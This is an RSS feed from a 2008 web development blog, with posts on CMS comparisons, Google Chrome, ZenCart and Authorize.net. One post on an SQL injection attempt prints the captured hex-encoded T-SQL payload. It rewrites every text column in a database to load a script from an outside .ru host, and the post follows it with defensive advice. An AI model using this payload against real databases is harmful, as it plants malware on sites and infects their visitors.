<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>About Web Development by Activo</title>
	<atom:link href="http://www.activoinc.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.activoinc.com/blog</link>
	<description>Web Development in a Web 2.0 World</description>
	<pubDate>Fri, 05 Sep 2008 21:27:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Joomla vs Ektron</title>
		<link>http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/</link>
		<comments>http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/#comments</comments>
		<pubDate>Fri, 05 Sep 2008 21:27:34 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Content Management Systems]]></category>

		<category><![CDATA[Ektron]]></category>

		<category><![CDATA[Joomla]]></category>

		<category><![CDATA[ASP.NET]]></category>

		<category><![CDATA[Content Management System]]></category>

		<category><![CDATA[Ektron API]]></category>

		<category><![CDATA[LAMP: Linux Apache MySQL PHP]]></category>

		<category><![CDATA[Search Engine Optimization (SEO)]]></category>

		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=52</guid>
		<description><![CDATA[We have been receiving a lot of comparison inquiries lately and I wanted to put this simple Joomla vs Ektron content management systems comparison table out there. Have in mind that much of the decision of which CMS to choose for your company or organization is usually made way before this comparison since the two [...]]]></description>
			<content:encoded><![CDATA[<p>We have been receiving a lot of comparison inquiries lately and I wanted to put this simple Joomla vs Ektron content management systems comparison table out there. Have in mind that much of the decision of which CMS to choose for your company or organization is usually made way before this comparison since the two systems are different in such a fundamental level. However, this is a comparison of those fundamentals plus some of the &#8216;interesting&#8217; features.</p>
<div id="attachment_54" class="wp-caption aligncenter" style="width: 409px"><img class="size-full wp-image-54" title="apples-and-oranges" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/apples-and-oranges.jpg" alt="Joomla vs Ektron" width="399" height="222" /><p class="wp-caption-text">Joomla vs Ektron</p></div>
<table border="1" width="100%">
<tbody>
<tr>
<td><strong>Feature/Item</strong></td>
<td><strong>Joomla</strong></td>
<td><strong>Ektron</strong></td>
</tr>
<tr>
<td>License Model</td>
<td>Open Source</td>
<td>Closed Source, Compiled</td>
</tr>
<tr>
<td>Price</td>
<td>Free</td>
<td>Starts at $15,000</td>
</tr>
<tr>
<td>Web Platform</td>
<td>PHP</td>
<td>ASP.NET 2.0</td>
</tr>
<tr>
<td>Database</td>
<td>MySQL</td>
<td>MS SQL (Express version OK)</td>
</tr>
<tr>
<td>Extendability Options</td>
<td>Plugins, Components, Mambots. Joomla 1.5 went through significant development that now offers many hook-ups for plugins without hacking any core files.</td>
<td>Plugins (Observer Method), Ektron API (via ASP.NET code behind), Extensive Web Services API</td>
</tr>
<tr>
<td>SEO Options</td>
<td>Search Engine Friendly URLs (Joomla 1.5)<br />
Meta tags controls<br />
Full template overrides, clean HTML</td>
<td>Search Engine Friendly URLs (CMS400 7.6)<br />
Meta tags controls and consolidation<br />
Content Tagging<br />
Full template overrides, HTML is often not so clean (part issue with .NET as well)</td>
</tr>
<tr>
<td>Social Networking</td>
<td>None, unless using a third party component or a plugin.</td>
<td>Many features built in: Personal profile, personal area, connections between profiles, forums, blogging.</td>
</tr>
</tbody>
</table>
<p>Thoughts?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/09/05/joomla-vs-ektron/feed/</wfw:commentRss>
		</item>
		<item>
		<title>First Google Chrome Screenshots</title>
		<link>http://www.activoinc.com/blog/2008/09/03/first-google-chrome-screenshots/</link>
		<comments>http://www.activoinc.com/blog/2008/09/03/first-google-chrome-screenshots/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 18:26:12 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[Web-based User Interfaces]]></category>

		<category><![CDATA[browser wars]]></category>

		<category><![CDATA[browsers]]></category>

		<category><![CDATA[Screenshots]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=40</guid>
		<description><![CDATA[Google Chrome is new (still in beta) and I went a head and installed it on one of our VMs. It seems like a lot of the functionality from the popular Firefox extension &#8216;FireBug&#8217; is built in. Here are the screen shots:
]]></description>
			<content:encoded><![CDATA[<p>Google Chrome is new (still in beta) and I went a head and installed it on one of our VMs. It seems like a lot of the functionality from the popular Firefox extension &#8216;FireBug&#8217; is built in. Here are the screen shots:</p>
<div id="attachment_42" class="wp-caption alignnone" style="width: 456px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-1.jpg"><img class="size-full wp-image-42" title="google-chrome-screenshot-1" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-1.jpg" alt="Google Chrome Screenshot 1: Main Page" width="446" height="321" /></a><p class="wp-caption-text">Google Chrome Screenshot 1: Main Page</p></div>
<div id="attachment_43" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-2.jpg"><img class="size-full wp-image-43" title="google-chrome-screenshot-2" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-2.jpg" alt="Google Chrome Screenshot 2: Search right from the address bar" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 2: Search right from the address bar</p></div>
<div id="attachment_44" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-3.jpg"><img class="size-full wp-image-44" title="google-chrome-screenshot-3" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-3.jpg" alt="Google Chrome Screenshot 3: Browsing History" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 3: Browsing History</p></div>
<div id="attachment_45" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-4.jpg"><img class="size-full wp-image-45" title="google-chrome-screenshot-4" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-4.jpg" alt="Google Chrome Screenshot 4: Incognito Browsing" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 4: Incognito Browsing</p></div>
<div id="attachment_46" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-5.jpg"><img class="size-full wp-image-46" title="google-chrome-screenshot-5" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-5.jpg" alt="Google Chrome Screenshot 5: Right Clicking a Link Uses Google Gears" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 5: Right Clicking a Link Uses Google Gears</p></div>
<div id="attachment_47" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-6.jpg"><img class="size-full wp-image-47" title="google-chrome-screenshot-6" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-6.jpg" alt="Google Chrome Screenshot 6: Inspecting Page Elements a-la Firebug" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 6: Inspecting Page Elements a-la Firebug</p></div>
<div id="attachment_48" class="wp-caption alignnone" style="width: 459px"><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-7.jpg"><img class="size-full wp-image-48" title="google-chrome-screenshot-7" src="http://www.activoinc.com/blog/wp-content/uploads/2008/09/google-chrome-screenshot-7.jpg" alt="Google Chrome Screenshot 7: View Source" width="449" height="324" /></a><p class="wp-caption-text">Google Chrome Screenshot 7: View Source</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/09/03/first-google-chrome-screenshots/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New Web Browser by Google: Chrome</title>
		<link>http://www.activoinc.com/blog/2008/09/02/new-web-browser-by-google-chrome/</link>
		<comments>http://www.activoinc.com/blog/2008/09/02/new-web-browser-by-google-chrome/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 20:46:58 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[browser]]></category>

		<category><![CDATA[browser wars]]></category>

		<category><![CDATA[browsers market share]]></category>

		<category><![CDATA[chrome]]></category>

		<category><![CDATA[google chrome]]></category>

		<category><![CDATA[V8]]></category>

		<category><![CDATA[web developers]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=38</guid>
		<description><![CDATA[Google is now officially in the browser business. I guess that the google bars wasn&#8217;t enough of a penetration into the browser market and Google wanted/needed additional features (and feedback?) from users. Anyway, Google now offers a new web browser: Chrome. Google also explained briefly why they have decided to launch a new browser. So, [...]]]></description>
			<content:encoded><![CDATA[<p>Google is now officially in the browser business. I guess that the google bars wasn&#8217;t enough of a penetration into the browser market and Google wanted/needed additional features (and feedback?) from users. Anyway, Google now offers a new web browser: <a href="http://www.google.com/chrome" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.google.com');">Chrome</a>. Google also <a href="http://www.google.com/chrome/intl/en/why.html?hl=en" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.google.com');">explained briefly why they have decided to launch a new browser</a>. So, what does it mean for us, web developers?</p>
<ol>
<li>An additional browser to pay attention to and run tests for. When Google launches a new browser, it is not another niche browser that we can skip in our testing. It is probably going to have a sizeable market share.</li>
<li>Visit the &#8216;<a href="http://www.google.com/chrome/intl/en/webmasters.html" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.google.com');">For Web Developers</a>&#8216; page posted by Chrome. You will find useful information for what we do. Once piece of advice is if we tested our sites on Safari 3.1 - then the page will work fine on Google Chrome. However, they still post some tips and testing tools.</li>
<li>Explore and learn V8 - the underlying engine that powers Google Chrome. According to Google V8 is a platform that will help power the next generation of web applications. As mentioned on their &#8216;Why&#8217; page: &#8220;We also built V8, a more powerful JavaScript engine, to power the next generation of web applications that aren&#8217;t even possible in today&#8217;s browsers.&#8221;</li>
</ol>
<p>It is never boring in the world of web development, is it?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/09/02/new-web-browser-by-google-chrome/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Inspiring Commentary Article on Web Design Practices</title>
		<link>http://www.activoinc.com/blog/2008/08/27/inspiring-commentary-article-on-web-design-practices/</link>
		<comments>http://www.activoinc.com/blog/2008/08/27/inspiring-commentary-article-on-web-design-practices/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 19:24:39 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[Web-based User Interfaces]]></category>

		<category><![CDATA[design]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=36</guid>
		<description><![CDATA[Written by Kimberly Elam, Web Design by Design made me think twice before running to draft the next web site design with our designer. This same minimalistic approach of almost too little but just enough to make a clear point approach is great because it begs for more. As Kimberly puts it, the user remains [...]]]></description>
			<content:encoded><![CDATA[<p>Written by Kimberly Elam, <a href="http://www.digital-web.com/articles/web_design_by_designers/" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.digital-web.com');">Web Design by Design</a> made me think twice before running to draft the next web site design with our designer. This same minimalistic approach of almost too little but just enough to make a clear point approach is great because it begs for more. As Kimberly puts it, the user remains hungry for more information. And guess what they will probably do? call or email for more information!</p>
<p>This article highlites the a similar line of thought for successful web firms: they target what their clients need not what they can do with technology or design. Hence this comes to remind us that websites, in any aspect: design or web development, are here to serve the business. A website is just a tool not the goal.</p>
<p>This comes accross with our line of though at Activo: each one of our proposals begin with what are the goals in this project. In other words, what will we achieve by the following web development project?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/27/inspiring-commentary-article-on-web-design-practices/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Looking Ahead: ZenCart ver 1.4</title>
		<link>http://www.activoinc.com/blog/2008/08/25/zencart-ver-1-4-looking-ahead/</link>
		<comments>http://www.activoinc.com/blog/2008/08/25/zencart-ver-1-4-looking-ahead/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 09:06:56 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[PHP/MySQL]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[ZenCart]]></category>

		<category><![CDATA[eCommerce]]></category>

		<category><![CDATA[Magento]]></category>

		<category><![CDATA[MPTT]]></category>

		<category><![CDATA[Object Oriented]]></category>

		<category><![CDATA[osCommerce]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[ZenCart Performance]]></category>

		<category><![CDATA[ZenCart Roadmap]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=32</guid>
		<description><![CDATA[The ZenCart developer team seems to be hard at work and preparing to deliver a new version of ZenCart: ver 1.4. The core developers posted a roadmap brief for version 1.4 back in September of 2007. Recently, additional entries have been posted in the forums describing in more detail the upcoming changes and signaling a [...]]]></description>
			<content:encoded><![CDATA[<p>The ZenCart developer team seems to be hard at work and preparing to deliver a new version of ZenCart: ver 1.4. The core developers posted a roadmap brief for version 1.4 back in September of 2007. Recently, additional entries have been posted in the forums describing in more detail the upcoming changes and signaling a new release is to be expected soon.</p>
<p><img class="alignnone size-full wp-image-33" title="zencart-version-1.4 (future)" src="http://www.activoinc.com/blog/wp-content/uploads/2008/08/zencart-version-1-4.jpg" alt="" width="470" height="101" /></p>
<p><strong>The currently described updates to ZenCart are done all around the DB, its architecture, and improving its performance. To summarise from the ZenCart forums:</strong></p>
<blockquote><p><span style="text-decoration: underline;">New Database Driver Layer</span><br />
Extremely light/flexible drivers make it easier to support other Database Types<br />
Preliminary support for innodb and mysql transactions</p>
<p><span style="text-decoration: underline;">Sql Caching system rewritten</span><br />
Much easier to add new caching types<br />
Preliminary Support for Memcache</p>
<p><span style="text-decoration: underline;">Use of MPTT for category structure</span><br />
Reduces number of queries needed to &#8216;describe&#8217; the category structure<br />
Improves user experience thru reduced page load times</p>
<p><span style="text-decoration: underline;">Supporting Classes to reduce query load</span><br />
Hugely reduces queries needed<br />
Reuses queries using Cache to further improve performance</p></blockquote>
<p><strong>The roadmap for ZenCart ver 1.4 promises the following updates to the code (summarized):</strong></p>
<ul>
<li>Better usage of PHP 5.2 features. This also means 5.2 will be the new minimum requirement.</li>
<li>More Object Oriented code, less of the old osCommerce code.</li>
<li>Lots of DB improvements (some is described above, seems more is yet to come).</li>
<li>Category structure converted to MPTT format. MPTT stands for Modified Preorder Tree Traversal (<a href="http://www.wallpaperama.com/forums/mptt-modified-pre-order-tree-transversal-php-tree-menu-script-t5713.html" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.wallpaperama.com');">explanation of MPTT</a>).</li>
<li>Performance improvements for sites with lots of product attributes.</li>
<li>More function libraries converted to classes.</li>
<li>Duplicate components shared between admin and catalog.</li>
<li>Template system enhancements: less tables and more admin control.</li>
<li>Additional notifiers for the observer system.</li>
<li>Transaction support with InnoDB. Also mentioned as initial stage according to the recent posts of the updates that were done so far.</li>
<li>SwiftMailer instead of phpMailer.</li>
<li>Stock and SKU per product attribute.</li>
<li>Security enhancements.</li>
</ul>
<p>Keep up the good work!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/25/zencart-ver-1-4-looking-ahead/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Authorize.net changes Transaction ID field - ZenCart passes tests</title>
		<link>http://www.activoinc.com/blog/2008/08/21/authorizenet-changes-transaction-id-field-zencart-passes-tests/</link>
		<comments>http://www.activoinc.com/blog/2008/08/21/authorizenet-changes-transaction-id-field-zencart-passes-tests/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 06:29:44 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[ZenCart]]></category>

		<category><![CDATA[eCommerce]]></category>

		<category><![CDATA[Authorize.net]]></category>

		<category><![CDATA[payment gateway]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=30</guid>
		<description><![CDATA[Just a quick note that Authorize.net will be upping the limit on the transaction id field. Apperently, they are close to reaching the limit of the field type, so they are adding digits to the field - we are talking about some really big numbers! ZenCart seems to have acknowledged the news and tested their [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick note that Authorize.net will be upping the limit on the transaction id field. Apperently, they are close to reaching the limit of the field type, so they are adding digits to the field - we are talking about some really big numbers! ZenCart seems to have acknowledged the news and tested their latest stable release. On ZenCart&#8217;s end, all seems to be ok except a small DB change that will only affect shops that choose to store the transactions over time. Hence a <a href="http://www.zen-cart.com/forum/showthread.php?t=105924" target="_blank" onclick="javascript:pageTracker._trackPageview ('/outbound/www.zen-cart.com');">quick fix is posted on ZenCart&#8217;s forum</a>.</p>
<p><img class="alignnone size-full wp-image-31" title="matrix-numbers" src="http://www.activoinc.com/blog/wp-content/uploads/2008/08/matrix-numbers.jpg" alt="" width="470" height="120" /></p>
<p>This also means that all plugins, modules, or any Authorize.net integration scripts need to be tested. This change will probably not be a make or break for any code that integrates with Authorize.net APIs, but it is worth verifying your code and your shopping cart just in case.</p>
<p>Originally Posted by <strong>Authorize.net: </strong></p>
<blockquote>
<div style="font-style: italic;"><strong>What is going on with the Transaction ID field?</strong><br />
The Transaction ID field was originally developed with a maximum numeric value of 2,147,483,647. As the number of merchants using the Authorize.Net Payment Gateway has grown, we have identified a time in the near future in which the Transaction ID count will surpass 2,147,483,647. For this reason, we are in the process of expanding the range of Transaction IDs that the payment gateway can issue. Accordingly, we are communicating to all Authorize.Net merchants to verify that your systems can accommodate a 10-digit Transaction ID greater than 2,147,483,647.</div>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/21/authorizenet-changes-transaction-id-field-zencart-passes-tests/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hack attempt: SQL Injection Tagreting MS SQL Servers</title>
		<link>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/</link>
		<comments>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 21:34:14 +0000</pubDate>
		<dc:creator>frankrusch</dc:creator>
		
		<category><![CDATA[.NET Framework]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[.NET Security]]></category>

		<category><![CDATA[MS SQL Security]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[SQL Injection Attack]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=27</guid>
		<description><![CDATA[ 
I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.
Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> Normal   0               false   false   false      EN-US   X-NONE   X-NONE                                                     MicrosoftInternetExplorer4 </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--> <!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman","serif";}
</style>
<p><![endif]--></p>
<p>I noticed one of our client&#8217;s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.</p>
<p>Here&#8217;s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)</p>
<p>DECLARE @S VARCHAR(4000);SET @S=CAST(0&#215;4445434C4152452040542<br />
05641524348415228323535292C4043205641524348415228323535292<br />
04445434C415245205461626C655F437572736F7220435552534F52204<br />
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2<br />
07379736F626A6563747320612C737973636F6C756D6E7320622057484<br />
5524520612E69643D622E696420414E4420612E78747970653D2775272<br />
0414E442028622E78747970653D3939204F5220622E78747970653D333<br />
5204F5220622E78747970653D323331204F5220622E78747970653D313<br />
63729204F50454E205461626C655F437572736F72204645544348204E4<br />
558542046524F4D205461626C655F437572736F7220494E544F2040542<br />
C4043205748494C4528404046455443485F5354415455533D302920424<br />
547494E20455845432827555044415445205B272B40542B275D2053455<br />
4205B272B40432B275D3D525452494D28434F4E5645525428564152434<br />
841522834303030292C5B272B40432B275D29292B27273C73637269707<br />
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73<br />
3E3C2F7363726970743E27272729204645544348204E4558542046524F4<br />
D205461626C655F437572736F7220494E544F2040542C404320454E4420<br />
434C4F5345205461626C655F437572736F72204445414C4C4F434154452<br />
05461626C655F437572736F7220 AS VARCHAR(4000));</p>
<p>print @S;</p>
<p>This particular attack is well known and has been sighted in several variants:</p>
<p><a href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx" onclick="javascript:pageTracker._trackPageview ('/outbound/aspadvice.com');">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx" onclick="javascript:pageTracker._trackPageview ('/outbound/www.bloombit.com');">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a></p>
<p>Using the following web application best practices, we avoid getting hacked:</p>
<ul>
<li>Application level:
<ul>
<li>Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.</li>
<li>Always use Stored Procedures and/or Parameterized database queries. Don&#8217;t build SQL queries using string concatenation.</li>
<li>Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.</li>
</ul>
</li>
<li>Database level:
<ul>
<li>Use limited database permissions. For example, for SQL Server, don&#8217;t let you application run under the &#8220;sa&#8221; user. The database user should only have permission in the particular database used by the application.</li>
<li>If possible, disable extended stored procedures such as xp_cmdshell.</li>
<li>Don&#8217;t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.<br />
Some DBAs have server-wide policies of no Dynamic SQL.</li>
</ul>
</li>
</ul>
<ul>
<li>Web server level:
<ul>
<li>If appropriate, filter requests. IIS 7 offers requestFiltering options. <a href="http://msdn.microsoft.com/en-us/library/ms689462.aspx" onclick="javascript:pageTracker._trackPageview ('/outbound/msdn.microsoft.com');">http://msdn.microsoft.com/en-us/library/ms689462.aspx</a><br />
For example, the maxQueryString parameter could be used to block the exploit attempt above.</li>
<li>For II6: <a href="http://technet.microsoft.com/en-us/security/cc242650.aspx" onclick="javascript:pageTracker._trackPageview ('/outbound/technet.microsoft.com');">http://technet.microsoft.com/en-us/security/cc242650.aspx</a></li>
</ul>
</li>
<li>Miscellaneous
<ul>
<li>Install security patches as soon as they become available.</li>
</ul>
</li>
</ul>
<p>The application level is crucial. Since a web application may someday be moved to a new server, we can&#8217;t assume that the web server and database have been configured using best practices.</p>
<p>All layers of security are important, though: If you&#8217;re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/19/hack-attempt-sql-injection-tagreting-ms-sql-servers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>5 Missing Features Preventing Joomla! CMS from Entering the Enterprise CMS Market</title>
		<link>http://www.activoinc.com/blog/2008/08/19/5-missing-features-preventing-joomla-cms-from-entering-the-enterprise-cms-market/</link>
		<comments>http://www.activoinc.com/blog/2008/08/19/5-missing-features-preventing-joomla-cms-from-entering-the-enterprise-cms-market/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 17:35:18 +0000</pubDate>
		<dc:creator>Ron Peled</dc:creator>
		
		<category><![CDATA[Content Management Systems]]></category>

		<category><![CDATA[Joomla]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[Content Management System]]></category>

		<category><![CDATA[DMS]]></category>

		<category><![CDATA[Document Management System]]></category>

		<category><![CDATA[Enterprise CMS]]></category>

		<category><![CDATA[Enterprise Content Management System]]></category>

		<category><![CDATA[Joomla CMS]]></category>

		<guid isPermaLink="false">http://www.activoinc.com/blog/?p=28</guid>
		<description><![CDATA[ 
You&#8217;ll love Joomla! CMS because it is a great open source and free CMS with lots of features, stable releases, and it comes with a huge supporting community. Don&#8217;t get us wrong, we love Joomla CMS too and truly believe that this open source application is a big head start for any content based [...]]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> Normal   0               false   false   false      EN-US   X-NONE   X-NONE </xml><![endif]--><!--[if gte mso 9]><xml> </xml><![endif]--> <!--[if gte mso 10]></p>
<style>
 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin-top:0in;
	mso-para-margin-right:0in;
	mso-para-margin-bottom:10.0pt;
	mso-para-margin-left:0in;
	line-height:115%;
	mso-pagination:widow-orphan;
	font-size:11.0pt;
	font-family:"Calibri","sans-serif";
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;}
</style>
<p><![endif]--></p>
<p>You&#8217;ll love Joomla! CMS because it is a great open source and free CMS with lots of features, stable releases, and it comes with a huge supporting community. Don&#8217;t get us wrong, we love Joomla CMS too and truly believe that this open source application is a big head start for any content based website. But since we used Joomla on many advanced Web 2.0 websites, we have found its limits, and sometimes struggled with those limits to a point of considering other systems or even using a framework instead. Let&#8217;s look closer at the missing features:</p>
<p><a href="http://www.activoinc.com/blog/wp-content/uploads/2008/08/joomla-with-magnifier-glass.gif"><img class="alignnone size-full wp-image-29" title="joomla-with-magnifier-glass" src="http://www.activoinc.com/blog/wp-content/uploads/2008/08/joomla-with-magnifier-glass.gif" alt="Looking closer at what features Joomla is missing" width="470" height="150" /></a></p>
<h2>1. Directory or node base category structure</h2>
<p>This is one of the biggest pain points with using Joomla or trying to explain how to use Joomla to new users. Joomla places all content items within sections and categories. Before Joomla 1.5, all content items were required to be in one of these sections and categories. In other words, the system was limited to a two level categorization and the categorization was enforced. In Joomla 1.5, it is not a requirement, however, if you wish to categorize the content items you must use this archaic system.</p>
<p>So, what&#8217;s missing? It needs a node based categorization. Similar to any folder structure out there in any operating system. You can create folders with content items in them and you have a nice flexible and fully comprehensible system. No more workarounds. This will then boost the use of any dynamic plugins that can rely on the folder structure for certain features. A great example is a News &amp; Events section that is needed for almost every serious website: with flexible node system you can create a news folder and an events folder and place your articles there. If in the future you wish to add sub categories to your news - no problem! (with the current and the old system - you&#8217;ll have to rethink once you get to a certain depth level).</p>
<h2>2. A Real Authorship Path and Publication Mechanism</h2>
<p>Yes, it is true that users have multiple levels right out of the box in Joomla. But it lacks any sort of a mechanism that controls the workflow of the content item. Ideally, you will have one user that will add new content items and another that will have to approve before it goes live in a specific section. The publisher user will have the rights to publish only in his/her sections, etc. This is a basic feature in many enterprise content management systems.</p>
<h2>3. Content Articles Versioning</h2>
<p>In Joomla, once you made the change and hit that save button - there is no way to go back in time and undo your changes. Ideally, Joomla will save every instance of the content item and keep track of its versions. How it does it is not important, whether it uses SVN like versioning which efficiently saves only the diff values, or if it actually saves the entire content item every time a revision is made does not matter. The feature that is missing is the versioning itself.</p>
<h2>4. Built In Separation Between ‘Live&#8217; and ‘Staging&#8217; Environments</h2>
<p>For businesses that value their websites and understand the sensitivity of them, we always recommend setting up a staging environment. This is where all users, developers, and designers can see the latest revisions before it goes live. It provides another stage of error handling instead of working a fire drill on a regular basis. Many enterprise content management systems have this option as a built-in mechanism. From the same admin panel or work area, the admin presses a button and the latest version of the site is then &#8216;pushed&#8217; live. We currently have linux scripts that do the job but there is no way for a non-developer to handle this case. Ideally, this needs to be from the admin panel of Joomla.</p>
<h2>5. Document Management System (File Manager)</h2>
<p>So, we all know that Joomla&#8217;s File Manager or &#8216;Media&#8217; manager is a bit lacking. It has the basic functionality that assists with uploading files, moving, deleting them - but that&#8217;s it. A DMS (Document Management System) allows each user to manage their own document area, which in turn allows better handling of uploading and using files with drag and drop controls, and improved management interface for admins that can more easily handle large amount of folders and files.</p>
<h2>Conclusion</h2>
<p>Joomla CMS is a great open source CMS, no doubt. However, if the above five missing features are added, it will make it easier for us to be able to offer this CMS to the enterprise. For now, the commercial CMS spectrum is what we got to work with for enterprise level content management systems.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.activoinc.com/blog/2008/08/19/5-missing-features-preventing-joomla-cms-from-entering-the-enterprise-cms-market/feed/</wfw:commentRss>
		</item>
